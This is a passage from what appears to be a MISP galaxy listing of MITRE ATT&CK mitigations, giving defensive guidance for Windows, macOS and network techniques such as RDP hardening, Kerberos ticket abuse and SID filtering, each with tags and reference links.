Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins. (Citation: Berkley Secure) Do not leave RDP accessible from the internet. Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server. (Citation: Windows RDP Sessions)

The tag is: `misp-galaxy:mitre-course-of-action="Remote Desktop Protocol Mitigation - T1076"`

**Table 6050. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1076">https://attack.mitre.org/mitigations/T1076</a></td>
</tr>
<tr>
<td><a href="https://security.berkeley.edu/node/94">https://security.berkeley.edu/node/94</a></td>
</tr>
</tbody>
</table>

**NTFS File Attributes Mitigation - T1096**

It may be difficult or inadvisable to block access to EA and ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Symantec ADS May 2009) Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA and ADSs by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker
Consider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)

The tag is: misp-galaxy:mitre-course-of-action="NTFS File Attributes Mitigation - T1096"

<table>
<thead>
<tr>
<th>Table 6051. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1096">https://attack.mitre.org/mitigations/T1096</a></td>
</tr>
</tbody>
</table>

**Permission Groups Discovery Mitigation - T1069**

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Permission Groups Discovery Mitigation - T1069"

<table>
<thead>
<tr>
<th>Table 6052. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html">http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html</a></td>
</tr>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1069">https://attack.mitre.org/mitigations/T1069</a></td>
</tr>
</tbody>
</table>
Windows Admin Shares Mitigation - T1077

Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.

Identify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action=*"Windows Admin Shares Mitigation - T1077"

Table 6053. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1077">https://attack.mitre.org/mitigations/T1077</a></td>
</tr>
</tbody>
</table>

Pass the Ticket Mitigation - T1097

Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)

For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)

Attempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action=*"Pass the Ticket Mitigation - T1097"
**Disabling Security Tools Mitigation - T1089**

Ensure proper process, registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.

The tag is: `misp-galaxy:mitre-course-of-action="Disabling Security Tools Mitigation - T1089"`

**Space after Filename Mitigation - T1151**

Prevent files from having a trailing space after the extension.

The tag is: `misp-galaxy:mitre-course-of-action="Space after Filename Mitigation - T1151"`

**Credentials in Registry Mitigation - T1214**

Do not store credentials within the Registry. Proactively search for credentials within Registry keys and attempt to remediate the risk. If necessary software must store credentials, then ensure those accounts have limited permissions so they cannot be abused if obtained by an adversary.

The tag is: `misp-galaxy:mitre-course-of-action="Credentials in Registry Mitigation - T1214"`
System Time Discovery Mitigation - T1124

Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.

Identify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="System Time Discovery Mitigation - T1124"

Browser Bookmark Discovery Mitigation - T1217

File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. For example, mitigating accesses to browser bookmark files will likely have unintended side effects such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Browser Bookmark Discovery Mitigation - T1217"
Netsh Helper DLL Mitigation - T1128

Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)

The tag is: *misp-galaxy:mitre-course-of-action*="Netsh Helper DLL Mitigation - T1128"

Remote Access Tools Mitigation - T1219

Properly configure firewalls, application firewalls, and proxies to limit outgoing traffic to sites and services used by remote access tools.

Network intrusion detection and prevention systems that use network signatures may be able to prevent traffic to these services as well.

Use application whitelisting to mitigate use of and installation of unapproved software.

The tag is: *misp-galaxy:mitre-course-of-action*="Remote Access Tools Mitigation - T1219"
External Remote Services Mitigation - T1133

Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls. Disable or block remotely available services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028). Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary’s ability to leverage stolen credentials, but be aware of [Multi-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.

The tag is: `misp-galaxy:mitre-course-of-action="External Remote Services Mitigation - T1133"`

Table 6062. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1133">https://attack.mitre.org/mitigations/T1133</a></td>
</tr>
</tbody>
</table>

Access Token Manipulation Mitigation - T1134

Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.

Any user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)

Also limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.

The tag is: `misp-galaxy:mitre-course-of-action="Access Token Manipulation Mitigation - T1134"`

Table 6063. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1134">https://attack.mitre.org/mitigations/T1134</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object">https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token">https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token</a></td>
</tr>
</tbody>
</table>
Network Share Discovery Mitigation - T1135

Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Network Share Discovery Mitigation - T1135"

Table 6064. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1135">https://attack.mitre.org/mitigations/T1135</a></td>
</tr>
</tbody>
</table>

Dynamic Data Exchange Mitigation - T1173

Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017) (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: GitHub Disable DDEAUTO Oct 2017) Microsoft also created, and enabled by default, Registry keys to completely disable DDE execution in Word and Excel. (Citation: Microsoft ADV170021 Dec 2017)

Ensure Protected View is enabled (Citation: Microsoft Protected View) and consider disabling embedded files in Office programs, such as OneNote, not enrolled in Protected View. (Citation: Enigma Reviving DDE Jan 2018) (Citation: GitHub Disable DDEAUTO Oct 2017)

On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs. (Citation: Microsoft ASR Nov 2017) (Citation: Enigma Reviving DDE Jan 2018)

The tag is: misp-galaxy:mitre-course-of-action="Dynamic Data Exchange Mitigation - T1173"

Table 6065. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1173">https://attack.mitre.org/mitigations/T1173</a></td>
</tr>
</tbody>
</table>
Clear Command History Mitigation - T1146

Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their `~/.bash_history` files. Additionally, making these environment variables readonly can make sure that the history is preserved (Citation: Securing bash history).

The tag is: `misp-galaxy:mitre-course-of-action="Clear Command History Mitigation - T1146"`

**Table 6066. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1146">https://attack.mitre.org/mitigations/T1146</a></td>
</tr>
</tbody>
</table>

Password Filter DLL Mitigation - T1174

Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (`C:\Windows\System32\`) by default) of a domain controller and/or local computer with a corresponding entry in `<code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages</code>` (Citation: Microsoft Install Password Filter n.d)

The tag is: `misp-galaxy:mitre-course-of-action="Password Filter DLL Mitigation - T1174"`

**Table 6067. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1174">https://attack.mitre.org/mitigations/T1174</a></td>
</tr>
</tbody>
</table>

Spearphishing via Service Mitigation - T1194

Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.
Because this technique involves use of legitimate services and user interaction on the endpoint, it’s difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. To prevent the downloads from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.

The tag is: misp-galaxy:mitre-course-of-action="Spearphishing via Service Mitigation - T1194"

**Supply Chain Compromise Mitigation - T1195**

Apply supply chain risk management (SCRM) practices and procedures (Citation: MITRE SE Guide 2014), such as supply chain analysis and appropriate risk management, throughout the life-cycle of a system.

Leverage established software development lifecycle (SDLC) practices (Citation: NIST Supply Chain 2012):

- Uniquely Identify Supply Chain Elements, Processes, and Actors
- Limit Access and Exposure within the Supply Chain
- Establish and Maintain the Provenance of Elements, Processes, Tools, and Data
- Share Information within Strict Limits
- Perform SCRM Awareness and Training
- Use Defensive Design for Systems, Elements, and Processes
- Perform Continuous Integrator Review
- Strengthen Delivery Mechanisms
- Assure Sustainment Activities and Processes
- Manage Disposal and Final Disposition Activities throughout the System or Element Life Cycle

A patch management process should be implemented to check unused dependencies, unmaintained and/or previously vulnerable dependencies, unnecessary features, components, files, and documentation. Continuous monitoring of vulnerability sources and the use of automatic and manual code review tools should also be implemented as well. (Citation: OWASP Top 10 2017)

The tag is: misp-galaxy:mitre-course-of-action="Supply Chain Compromise Mitigation - T1195"
Setuid and Setgid Mitigation - T1166

Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised. Additionally, the number of programs with setuid or setgid bits set should be minimized across a system.

The tag is: `misp-galaxy:mitre-course-of-action="Setuid and Setgid Mitigation - T1166"`

Local Job Scheduling Mitigation - T1168

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule jobs using whitelisting tools.

The tag is: `misp-galaxy:mitre-course-of-action="Local Job Scheduling Mitigation - T1168"`

Control Panel Items Mitigation - T1196

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls and/or execution of particular file extensions will likely have unintended side effects, such as preventing legitimate software (i.e., drivers and configuration tools) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.

Restrict storage and execution of Control Panel items to protected directories, such as `<code>C:\Windows</code>`, rather than user directories.

Index known safe Control Panel items and block potentially malicious software using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executable files.

Consider fully enabling User Account Control (UAC) to impede system-wide changes from illegitimate administrators. (Citation: Microsoft UAC)
**Control Panel Items Mitigation - T1196**

Table 6072. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html">http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html</a></td>
</tr>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1196">https://attack.mitre.org/mitigations/T1196</a></td>
</tr>
</tbody>
</table>

The tag is: *misp-galaxy:mitre-course-of-action="Control Panel Items Mitigation - T1196"*

**Compiled HTML File Mitigation - T1223**

Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files. (Citation: PaloAlto Preventing Opportunistic Attacks Apr 2016) Also consider using application whitelisting to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.

The tag is: *misp-galaxy:mitre-course-of-action="Compiled HTML File Mitigation - T1223"*

Table 6073. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1223">https://attack.mitre.org/mitigations/T1223</a></td>
</tr>
</tbody>
</table>

**Domain Trust Discovery Mitigation - T1482**

Map the trusts within existing domains/forests and keep trust relationships to a minimum. Employ network segmentation for sensitive domains.(Citation: Harmj0y Domain Trusts)

The tag is: *misp-galaxy:mitre-course-of-action="Domain Trust Discovery Mitigation - T1482"*

Table 6074. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/">http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1482">https://attack.mitre.org/mitigations/T1482</a></td>
</tr>
</tbody>
</table>

**Stored Data Manipulation Mitigation - T1492**

Identify critical business and system processes that may be targeted by adversaries and work to secure the data related to those processes against tampering. Ensure least privilege principles are
applied to important information resources to reduce exposure to data manipulation risk. Consider encrypting important information to reduce an adversaries ability to perform tailor data modifications. Where applicable, examine using file monitoring software to check integrity on important files and directories as well as take corrective actions when unauthorized changes are detected.

Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and manipulate backups.

The tag is: misp-galaxy:mitre-course-of-action="Stored Data Manipulation Mitigation - T1492"

Table 6075. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1492">https://attack.mitre.org/mitigations/T1492</a></td>
</tr>
<tr>
<td><a href="https://www.ready.gov/business/implementation/IT">https://www.ready.gov/business/implementation/IT</a></td>
</tr>
</tbody>
</table>

Domain Generation Algorithms Mitigation - T1483

This technique may be difficult to mitigate since the domains can be registered just before they are used, and disposed shortly after. Malware researchers can reverse-engineer malware variants that use DGAs and determine future domains that the malware will attempt to contact, but this is a time and resource intensive effort.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA Brute Force) Malware is also increasingly incorporating seed values that can be unique for each instance, which would then need to be determined to extract future generated domains. In some cases, the seed that a particular sample uses can be extracted from DNS traffic.(Citation: Akamai DGA Mitigation) Even so, there can be thousands of possible domains generated per day; this makes it impractical for defenders to preemptively register all possible C2 domains due to the cost. In some cases a local DNS sinkhole may be used to help prevent DGA-based command and control at a reduced cost.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Domain Generation Algorithms Mitigation - T1483"

Table 6076. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Transmitted Data Manipulation Mitigation - T1493

Identify critical business and system processes that may be targeted by adversaries and work to secure communications related to those processes against tampering. Encrypt all important data flows to reduce the impact of tailored modifications on data in transit.

The tag is: `misp-galaxy:mitre-course-of-action="Transmitted Data Manipulation Mitigation - T1493"`

Runtime Data Manipulation Mitigation - T1494

Identify critical business and system processes that may be targeted by adversaries and work to secure those systems against tampering. Prevent critical business and system processes from being replaced, overwritten, or reconfigured to load potentially malicious code. Identify potentially malicious software and audit and/or block it by using whitelisting (tools, like AppLocker, or Software Restriction Policies) where appropriate.

The tag is: `misp-galaxy:mitre-course-of-action="Runtime Data Manipulation Mitigation - T1494"`

LLMNR/NBT-NS Poisoning Mitigation - T1171

Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)
Use host-based security software to block LLMNR/NetBIOS traffic. Enabling SMB Signing can stop NTLMv2 relay attacks. (Citation: byt3bl33d3r NTLM Relaying) (Citation: Secure Ideas SMB Relay) (Citation: Microsoft SMB Packet Signing)

The tag is: misp-galaxy:mitre-course-of-action="LLMNR/NBT-NS Poisoning Mitigation - T1171"

Table 6079. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://adsecurity.org/?p=3299">https://adsecurity.org/?p=3299</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1171">https://attack.mitre.org/mitigations/T1171</a></td>
</tr>
</tbody>
</table>

**Restrict Web-Based Content - M1021**

Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.

The tag is: misp-galaxy:mitre-course-of-action="Restrict Web-Based Content - M1021"

View relationships graph

Restrict Web-Based Content - M1021 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Content Injection - T1659" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"


mitigates: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="One-Way Communication - T1102.003" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration to Text Storage Sites - T1567.003" with estimative-language:likelihood-probability="almost-certain"


mitigates: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"


mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1566.003" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

Table 6080. Table References

Links

https://attack.mitre.org/mitigations/M1021

Multi-Stage Channels Mitigation - T1104

Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of
identifying and blocking the channel. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Multi-Stage Channels Mitigation - T1104"

Table 6081. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1104">https://attack.mitre.org/mitigations/T1104</a></td>
</tr>
</tbody>
</table>

**Third-party Software Mitigation - T1072**

Evaluate the security of third-party software that could be used in the enterprise environment. Ensure that access to management systems for third-party systems is limited, monitored, and secure. Have a strict approval policy for use of third-party systems.

Grant access to Third-party systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multi-factor authentication. Verify that account credentials that may be used to access third-party systems are unique and not used throughout the enterprise network. Ensure that any accounts used by third-party providers to access these systems are traceable to the third-party and are not used throughout the network or used by other third-party providers in the same environment. Ensure third-party systems are regularly patched by users or the provider to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).

Ensure there are regular reviews of accounts provisioned to these systems to verify continued business need, and ensure there is governance to trace de-provisioning of access that is no longer required.

Where the third-party system is used for deployment services, ensure that it can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the third-party system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.

The tag is: misp-galaxy:mitre-course-of-action="Third-party Software Mitigation - T1072"

Table 6082. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1072">https://attack.mitre.org/mitigations/T1072</a></td>
</tr>
</tbody>
</table>

**DLL Side-Loading Mitigation - T1073**

Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.

The tag is: misp-galaxy:mitre-course-of-action="DLL Side-Loading Mitigation - T1073"
Re-opened Applications Mitigation - T1164

Holding the Shift key while logging in prevents apps from opening automatically (Citation: Re-Open windows on Mac). This feature can be disabled entirely with the following terminal command:

```<code>defaults write -g ApplePersistence -bool no</code>.
```

The tag is: `misp-galaxy:mitre-course-of-action="Re-opened Applications Mitigation - T1164"`

SID-History Injection Mitigation - T1178

Clean up SID-History attributes after legitimate account migration is complete.

Consider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e. preventing the trusted domain from claiming a user has membership in groups outside of the domain).

SID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitivity access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.

SID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)

- Disabling SIDHistory on forest trusts using the netdom tool `<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /EnableSIDHistory:no</code>` on the domain controller).
- Applying SID Filter Quarantining to external trusts using the netdom tool `<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine:yes</code>` on the domain controller) Applying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID
Filtering can be applied to an interforest trust.

The tag is: misp-galaxy:mitre-course-of-action="SID-History Injection Mitigation - T1178"

Table 6085. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://adsecurity.org/?p=1640">https://adsecurity.org/?p=1640</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1178">https://attack.mitre.org/mitigations/T1178</a></td>
</tr>
</tbody>
</table>

Multi-hop Proxy Mitigation - T1188

Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like [Domain Fronting](https://attack.mitre.org/techniques/T1172).

The tag is: misp-galaxy:mitre-course-of-action="Multi-hop Proxy Mitigation - T1188"

Table 6086. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1188">https://attack.mitre.org/mitigations/T1188</a></td>
</tr>
</tbody>
</table>

Drive-by Compromise Mitigation - T1189

Drive-by compromise relies on there being a vulnerable piece of software on the client end systems. Use modern browsers with security features turned on. Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique.

For malicious code served up through ads, adblockers can help prevent that code from executing in the first place. Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.

Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Other types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow
integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.

The tag is: misp-galaxy:mitre-course-of-action="Drive-by Compromise Mitigation - T1189"

Table 6087. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1189">https://attack.mitre.org/mitigations/T1189</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Control-flow_integrity">https://en.wikipedia.org/wiki/Control-flow_integrity</a></td>
</tr>
</tbody>
</table>

**Data Obfuscation Mitigation - T1001**

